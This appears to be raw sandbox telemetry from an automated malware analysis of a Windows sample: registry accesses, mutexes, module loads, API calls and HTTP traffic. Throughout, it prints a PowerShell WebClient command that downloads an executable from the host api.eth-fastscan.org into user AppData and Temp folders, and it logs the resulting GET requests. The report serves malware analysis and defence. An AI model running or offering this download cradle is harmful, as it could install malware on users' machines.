"\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")2b:Te31,file/memory contains long string with (Indicator: "System.Net.WebClient"; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found reference to API "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%%d\ggxy1nfv.exe'); exit 0} catch {exit 1}" ^" (Indicator: "System.Net.WebClient"; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found reference to API "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBW" (Indicator: "System.Net.WebClient"; Source: "00000000-00007120-00000C47-24268149246") Found reference to API "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\Temp\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "System.Net.WebClient"; File: "AMSI") Found reference to API "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "System.Net.WebClient"; File: "AMSI") Found reference to API "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Roaming\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "System.Net.WebClient"; File: "AMSI") Found reference to API "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%TEMP%\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "System.Net.WebClient"; File: "powershell.exe") Found reference to API "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%LOCALAPPDATA%\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "System.Net.WebClient"; File: "powershell.exe") Found reference to API "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%APPDATA%\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "System.Net.WebClient"; File: "powershell.exe") Found reference to API "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "System.Net.WebClient"; Source: "00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC10000.00000004.mdmp") Found reference to API "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "System.Net.WebClient"; Source: "00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000000.131413.7DFA0000.00000004.mdmp, 00000000-00003924.00000001.131634.19F86000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC3F000.00000004.mdmp, 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp, 00000000-00003924.00000001.131634.7DFA0000.00000004.mdmp, 00000000-00003924.00000001.131634.7F630000.00000004.mdmp") Found reference to API "HostApplication=powershell -command try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "System.Net.WebClient"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC3F000.00000004.mdmp")2c:Ta25,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0E9612411A0A4ABD15B84FFACBA6DB3166916E75") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0E9612411A0A4ABD15B84FFACBA6DB3166916E75") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\92B46C76E13054E104F230517E6E504D43AB10B5") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\92B46C76E13054E104F230517E6E504D43AB10B5") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\A43489159A520F0D93D032CCAF37E7FE20A8B419")2d:Ta24,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1"2e:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004260) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d00f01ab65c2c010000000000001400000007000007a84f00004073b35c (UID: 00000000-00004524) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e006300070000078b0b0000c0bcc17d (UID: 00000000-00003924) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00004544)2f:T797,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4260:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4260:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:4260:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:4260:120:WilError_01" Process powershell.exe created mutex with name "SM0:4260:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4260:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4524:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4524:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name "Local\SM0:4524:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "SM0:4524:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:4524:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4524:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3924:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3924:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:3924:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3924:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3924:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3924:304:WilStaging_02"30:T4ee,Found reference to API "RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "15168260284,6204,3025,,RtlGetNtProductType,NTDLL.dll,"00" (Indicator: "RtlGetNtProductType"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp"), Found reference to API "16868000446 6204 3024 RtlGetVersion NTDLL.dll "00:34:15.515" RX=0 PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp"), Found reference to API "17421920300 6204 3024 RtlGetVersion NTDLL.dll "00:34:15.734" RX=0 PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp"), Found reference to API "17421841306 6204 3025 RtlGetNtProductType NTDLL.dll "00:34:15.734" RX=0 PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp"), Found reference to API "RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp"), Found reference to API "11340113270 5608 3025 RtlGetNtProductType NTDLL.dll "00:33:54.640" RX=0 PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp")31:T8b8,"powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")32:T4ba,"GET /sefirah HTTP/1.1 Host: api.eth-fastscan.org Connection: Keep-Alive" Response ==> HTTP/1.1 502 Bad Gateway Server: nginx/1.24.0 (Ubuntu) Date: Tue 12 May 2026 09:44:25 GMT Content-Type: text/html Content-Length: 166 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E3530322042616420476174657761793C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "GET /sefirah HTTP/1.1 Host: api.eth-fastscan.org Connection: Keep-Alive" Response ==> HTTP/1.1 502 Bad Gateway Server: nginx/1.24.0 (Ubuntu) Date: Tue 12 May 2026 09:44:34 GMT Content-Type: text/html Content-Length: 166 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E3530322042616420476174657761793C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "GET /sefirah HTTP/1.1 Host: api.eth-fastscan.org Connection: Keep-Alive" Response ==> HTTP/1.1 502 Bad Gateway Server: nginx/1.24.0 (Ubuntu) Date: Tue 12 May 2026 09:44:43 GMT Content-Type: text/html Content-Length: 166 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E3530322042616420476174657761793C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365.......33:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00004260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004260) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00004260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00004260)34:T1428,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]35:T1438,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-999802131 "powershell.exe" queries volume information of 